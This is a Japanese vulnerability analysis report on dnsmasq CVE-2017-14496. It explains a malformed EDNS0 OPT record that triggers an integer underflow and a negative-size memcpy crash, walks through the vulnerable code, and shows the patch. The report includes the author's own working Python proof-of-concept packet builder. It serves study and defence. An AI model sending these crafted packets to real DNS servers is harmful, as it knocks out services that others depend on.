スマートフォン解析 top

TOP > タイガーチームセキュリティレポート > Behind Behind the Masq : CVE-2017-14496

タイガーチームセキュリティレポート

Behind Behind the Masq : CVE-2017-14496

Behind the Maskといえば1979年に発表されたYMOの楽曲であり、競走馬の名前にもなった、長年愛されている名曲です。このレポートはそのMaskではなくdnsmasqの脆弱性の裏側を覗き見るものです。

CVE-2017-14496はGoogle社によって発見され、2017年10月2日に公開された7件のdnsmasqの脆弱性のうちの一つです。これらの脆弱性は2.77以前のバージョンのdnsmasqに存在し、対策は2.78以降へのバージョンアップです。

このレポートでは、公開されたPoCやdnsmasqのcommit diffなどの情報をもとに、攻撃の中身を解析していきます。

関連 :
Behind Behind the Masq : CVE-2017-14491
Behind Behind the Masq : CVE-2017-14492
Behind Behind the Masq : CVE-2017-14493
Behind Behind the Masq : CVE-2017-14494
Behind Behind the Masq : CVE-2017-14495
Behind Behind the Masq : CVE-2017-13704

攻撃の流れ

dnsmasqに対して細工したDNSリクエストを送信すると、memcpyに指定するサイズがInteger Underflowを起こし異常終了します。

Attackerdnsmasq細工したDNSリクエストSegmentation Fault

PoC実行結果

PoCを実行してみた様子です。上のウインドウがdnsmasq、下がAttackerです。 実行すると、AddressSanitizerがnegative-size-paramを検知して異常終了します。AddressSanitizerを組み込んでいない場合は、SegmentationFaultが発生します。

攻撃後にdnsmasq側で表示されているメッセージはAddress Sanitizerによるものです。詳しくはこちらをご覧ください。

パケット解析

dnsmasqのコミットのうち、63437ffbから33e3f102まではGoogle社のPoCでも攻撃できますが、それ以前のバージョンでもCVE-2017-14496のPoCとして動くものを作りましたので、こちらで解説します(せっかく作ったので、ここで供養させてください)。

パケット生成はこちらで行なっています。

def cve_2017_14496(optno):
  data = b"".join([
    # ---- Header
    '\x00\x00',  # ID
    '\x00\x00',  # flags
    u16(0),      # QDCOUNT/ZOCOUNT
    u16(0),      # ANCOUNT/PRCOUNT
    u16(0),      # NSCOUNT/UPCOUNT
    u16(1),      # ARCOUNT

    # ---- Additional Record
    u8(0),       # NAME
    u16(41),     # TYPE = OPT
    u16(1024),   # CLASS(udp_size)
    '\x00\x00\x00\x00', # TTL
    u16(5),      # RDLEN

    u16(optno),  # RDATA option-code
    u16(1 + 4),  # RDATA option-length(larger than option-data length)
    '\x00',      # RDATA option-data
    ])
  return data

それでは、内容を見ていきましょう。

ヘッダ部

フォーマットはrfc1035 Header section formatです。

                                1  1  1  1  1  1
  0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                      ID                       |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|QR|   Opcode  |AA|TC|RD|RA|   Z    |   RCODE   |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                    QDCOUNT                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                    ANCOUNT                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                    NSCOUNT                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                    ARCOUNT                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

コードを再掲します。

    # ---- Header
    '\x00\x00',  # ID
    '\x00\x00',  # flags
    u16(0),      # QDCOUNT/ZOCOUNT
    u16(0),      # ANCOUNT/PRCOUNT
    u16(0),      # NSCOUNT/UPCOUNT
    u16(1),      # ARCOUNT

このヘッダでは、Additional Sectionにレコードが1件のみ存在する事を宣言しています。

Additional Record

リソースレコードのフォーマットはrfc1035で定義されていますが、このレコードは、EDNS(0)のOPTレコードなので、フォーマット定義はrfc6891のものを参照します。

+------------+--------------+------------------------------+
| Field Name | Field Type   | Description                  |
+------------+--------------+------------------------------+
| NAME       | domain name  | MUST be 0 (root domain)      |
| TYPE       | u_int16_t    | OPT (41)                     |
| CLASS      | u_int16_t    | requestor's UDP payload size |
| TTL        | u_int32_t    | extended RCODE and flags     |
| RDLEN      | u_int16_t    | length of all RDATA          |
| RDATA      | octet stream | {attribute,value} pairs      |
+------------+--------------+------------------------------+

RDATAのフォーマットも引用します。

              +0 (MSB)                            +1 (LSB)
   +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0: |                          OPTION-CODE                          |
   +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
2: |                         OPTION-LENGTH                         |
   +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
4: |                                                               |
   /                          OPTION-DATA                          /
   /                                                               /
   +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+

対応するコードはこちらです。

    # ---- Additional Record
    u8(0),       # NAME
    u16(41),     # TYPE = OPT
    u16(1024),   # CLASS(udp_size)
    '\x00\x00\x00\x00', # TTL
    u16(5),      # RDLEN

    u16(optno),  # RDATA option-code
    u16(1 + 4),  # RDATA option-length(larger than option-data length)
    '\x00',      # RDATA option-data
    ])

RDATAには、複数のオプションを格納することもできるのですが、このレコードでは1件のオプションがセットされています。

重要なのは2点。一つ目は、RDATA option-codeの値です。変数optnoは、パケット生成メソッドcve_2017_14496の引数で、65073、または65074という数値を受け取ります。Google社のPoCでは0xfe32 = 65074というoption-codeを使用しています。

もう一点は、RDATA option-lengthの値です。option-lengthは、続くoption-dataの長さを指示するものですが、その値をRDLENと同じにしていることです。攻撃が成立するoption-lengthの値は、次に示す範囲です。

RDLEN - 4 < option-length <= RDLEN

RDLENはオプション領域全体の長さを表します。RDLENから減じている4は、option-codeoption-length自体の長さです。上限がRDLENに等しい理由は、後に説明するoption-lengthの検査の誤りに起因します。Google社のPoCではRDLENoption-lengthの両方に0x0113 = 275という値を指定しています。

罹患箇所

罹患箇所を見ていきましょう。参照するコードは全てバージョン2.78test2のものです。

不正なmemcpyが行われるのは、src/edns0.c#162です。

              memcpy(p, p+len+4, rdlen - i);

このコードの目的は、特定のオプション領域を削除する(詰める)ことにあります。dnsmasqは起動時オプション--add-subnet--add-macまたは--add-subnetを使用した場合、該当するオプション領域をdnsmasqが生成したものに置き換えます。問題は、memcpyの第三引数rdlen - iが負数になることにあります。


問題のコードは、add_pseudoheader関数の中にあります。それぞれ変数の変遷を見るため、少々長いですが、まずは当該関数の冒頭src/edns0.c#107-131を引用します。

  p = find_pseudoheader(header, plen, NULL, &udp_len, &is_sign, &is_last);
                                  /* (1) */
  if (is_sign)
    return plen;

  if (p)
    {
      /* Existing header */
      int i;
      unsigned short code, len;

      p = udp_len;
      GETSHORT(udp_sz, p);         /* (2) */
      GETSHORT(rcode, p);
      GETSHORT(flags, p);

      if (set_do)
        {
          p -= 2;
          flags |= 0x8000;
          PUTSHORT(flags, p);
        }

      lenp = p;
      GETSHORT(rdlen, p);          /* (3) */

(1)のfind_pseudoheaderは、受信パケットのAdditional Sectionの中から、TYPE = OPTであるレコードを検索して、その先頭アドレスを返却するものです。

続いて、(2)からの3行で、GETSHORTマクロを3回、(3)で1回呼び出しています。GETSHORTマクロは、2バイト分のデータをコピーして、参照アドレスをその分読み進めるものです。つまり、(2)と(3)の4回のGETSHORTで、8バイト分のアドレスがpに加算されます。その結果、(3)の処理後のpRDATAの先頭アドレスを指しています。


次は、src/edns0.c#140-157です。

      /* check if option already there */
      for (i = 0; i + 4 < rdlen;)
        {
          GETSHORT(code, p);                   /* (4) */
          GETSHORT(len, p);

          /* malformed option, delete the whole OPT RR and start again. */
          if (i + len > rdlen)                 /* (5) */
            {
              rdlen = 0;
              is_last = 0;
              break;
            }

          if (code == optno)                   /* (6) */
            {
              if (replace == 0)                /* (7) */
                return plen;

ここでは、RDATAに格納された複数のオプションを一つずつ参照し、置き換え対象のオプションであるかどうかを検査しています。

(4)からの2行では、現在参照しているオプションのoption-codeoption-lenを取り出しています。option-codeは65073、または65074という数値です。option-lenには5という値がセットされています。処理後、pは、option-dataを指すようになります。

(5)は、option-lengthの値を検査して、不正な場合に処理を打ち切る、という事をやろうとしていますが、ここに誤りがあります。iは、RDATAの先頭アドレスから、現在参照しているオプション領域の先頭アドレスへのオフセットを表します。今回は1件目のオプションを参照しているためゼロのままです。lenoption-length = 5で、rdlenも5なので、i + len > rdlen0 + 5 > 5であり、Falseになります。PoCはoption-lengthに不正な値を指定しているので、本来はここでその不正を検出し、処理を打ち切るべきでした。このコードは、option-lengthoption-dataのみの長さを表しており、option-lengthoption-codeの長さ4バイト分が含まれていない、という事を失念しています。

続いて、(6)でoption-codeの値を検査し、(7)でreplaceフラグを検査しています。これらの値はadd_pseudoheaderの引数で、起動時オプションによって変わります。まとめると、次のようになります。

起動時オプション呼び出し元optnoreplace
--add-cpe-id src/edns0.c#419 EDNS0_OPTION_NOMCPEID = 65074 1
--add-mac src/edns0.c#267 EDNS0_OPTION_NOMDEVICEID = 65073 1
--add-subnet src/edns0.c#366 EDNS0_OPTION_CLIENT_SUBNET = 8 0

(6)をtrueとするために、PoCではoption-codeの値を、65074または65073にセットするようにしています。ちなみに、--add-subnetを指定した場合は、replaceフラグが0にセットされるため、(7)を突破できませんでした。そのため、Google社のPoCに付属するinstructionsや、Commit logの言うような--add-subnetオプションを利用した場合の攻撃は、残念ながら成功していません。


最後に、指定のオプションを削除するmemcpyに至るまでのコードを引用します。src/edns0.c#159-162です。

              /* delete option if we're to replace it. */
              p -= 4;                          /* (8) */
              rdlen -= len + 4;                /* (9) */
              memcpy(p, p+len+4, rdlen - i);   /* (10) */

ここに至るまでに、poption-dataを指し示すようになりました。そこで、そのオプションの先頭にアドレスを戻すため、(8)でoption-codeoption-lengthの4バイト分を減算しています。

続いて、(9)では、オプション削除後のRDLENを再計算しています。PoCは、rdlenに5を、len(option-length)にも5をセットしているので、rdlen -= len + 4rdlen = 5 - (5 + 4) = 5 - 9 = -4と計算されます。

iの値はゼロでした。したがって、(10)memcpyの第三引数rdlen - i-4 - 0 = -4と計算されます。memcpyのサイズに負数が指定されることになり、ここでSegmentationFaultが発生します。

修正内容

commit diffをみてみましょう。横並び修正も入っているので、ここでは、上記の解析に関わる部分のみ引用します。

--- a/src/edns0.c
+++ b/src/edns0.c
@@ -144,7 +144,7 @@ size_t add_pseudoheader(struct dns_header *header, size_t plen, unsigned char *l
          GETSHORT(len, p);

          /* malformed option, delete the whole OPT RR and start again. */
-         if (i + len > rdlen)
+         if (i + 4 + len > rdlen)
            {
              rdlen = 0;
              is_last = 0;

罹患箇所の(5)で示したoption-lengthの検査の誤りを修正しています。+ 4という値は、option-codeoption-lengthフィールドの長さを表しており、これらを加算した上でrdlenと値を比較しています。memcpyする前にoption-lengthの異常を検知できるため、これにより異常終了を回避できます。

まとめ

CVE-2017-14496の検証を行いました。CVE-2017-14495のまとめにも書きましたが、この問題の根本にはdnsmasqの作りの悪さがあります。入力データのパースと出力データの加工は、全く別の処理に分けるべきです。しかしながら、dnsmasqはその二つの処理を同時に行なっているため、似たような目的のサイズチェックをコードの至る所で行わなければならないのです。

一連のレポートで、2017年10月2日に公開された7件のdnsmasqの脆弱性を全て検証しました。これらのレポートが脆弱性の原理やプロトコルを理解する助けになれば幸いです。

参考情報

[1] Behind the Masq: Yet more DNS, and DHCP, vulnerabilities (Google Security Blog)
https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html

[2] google / security-research-pocs (github)
https://github.com/google/security-research-pocs

[3] dnsmasq (thekelleys)
http://thekelleys.org.uk/gitweb/?p=dnsmasq.git;a=summary

[4] google / sanitizers (github)
https://github.com/google/sanitizers

[5] rfc1035 DOMAIN NAMES - IMPLEMENTATION AND SPECIFICATION (IETF Tools)
https://tools.ietf.org/html/rfc1035

[6] rfc6891 Extension Mechanisms for DNS (EDNS(0)) (IETF Tools)
https://tools.ietf.org/html/rfc6891

[7] ビハインドザマスク_(競走馬) (Wikipedia)
https://ja.wikipedia.org/wiki/ビハインドザマスク_(競走馬)


R&D部準備室 柏崎央士